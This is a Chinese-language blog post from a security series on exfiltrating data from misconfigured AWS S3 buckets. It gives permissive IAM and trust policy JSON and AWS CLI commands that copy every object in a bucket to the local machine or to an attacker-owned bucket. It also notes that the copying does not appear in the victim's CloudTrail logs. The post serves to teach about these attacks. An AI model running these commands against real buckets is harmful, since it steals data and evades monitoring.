iT邦幫忙

2023 iThome 鐵人賽

DAY 15
0
Security

天堂雲端之從開始到接管系列 第 15

[Day 15] 天堂雲端 - Data Exfiltration on S3

  • 分享至 

  • xImage
  •  

AWS S3 複寫策略(Replication Policies)

AWS S3 replication policy - 使用 Amazon S3 複寫在 AWS 區域內和區域間複寫資料。S3是一個高彈性、全受管、低成本的雲端服務,而複寫策略(Replication Policies)可以使得S3 bucket在不同的bucket或是不同帳戶下的bucket間複寫物件(object)。

注:如果兩個bucket要進行複寫,兩個bucket都要啟用版本控制。

Misconfiguration

配置錯誤引發的資料外洩,以下是權限都打開的配置。

Trust policy

在定義role的時候設定trust policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": [
                    "s3.amazonaws.com",
                    "batchoperations.s3.amazonaws.com"   # 支援S3批次操作
                ]
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

AWS IAM roles

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "s3:ListBucket",
                "s3:GetReplicationConfiguration",
                "s3:PutInventoryConfiguration",
                "s3:InitiateReplication"
            ],
            "Resource": "arn:aws:s3:::*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "s3:GetObjectVersionForReplication",
                "s3:GetObjectVersionAcl",
                "s3:GetObjectVersionTagging"
            ],
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "s3:ReplicateObject",
                "s3:ReplicateDelete",
                "s3:ReplicateTags"
            ],
            "Resource": "*"
        }
    ]
}

AWS Cli

模擬攻擊者複寫s3 bucket所有object方法

list object - 確認有s3:ListBucket權限

% aws s3 ls {AWS_BUCKET_NAME}

Get bucket ACL - 查看Object ACL權限

% aws s3api get-bucket-acl --bucket {AWS_BUCKET_NAME}

Download Object To Local - 嘗試下載檔案

% aws s3 sync s3://{AWS_BUCKET_NAME} .

Sync Object To another S3 bucket - 把s3 bucket所有資料都複寫到攻擊者創造或感染的s3 bucket

% aws s3 sync s3://{SOURCE_BUCKET} s3://{DESTINATION_BUCKET}

注:S3 GetObject調用會記錄在受害者的Cloudtrail數據事件中,但是S3 PutObject調用會記錄在攻擊者的Cloudtrail中,如此,受害者無法在AWS Cloudtrail中看到副本的S3複寫過程。


上一篇
[Day 14] 天堂雲端 - S3 takeover
下一篇
[Day 16] 天堂雲端 - AWS S3 Enumerate POC
系列文
天堂雲端之從開始到接管30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言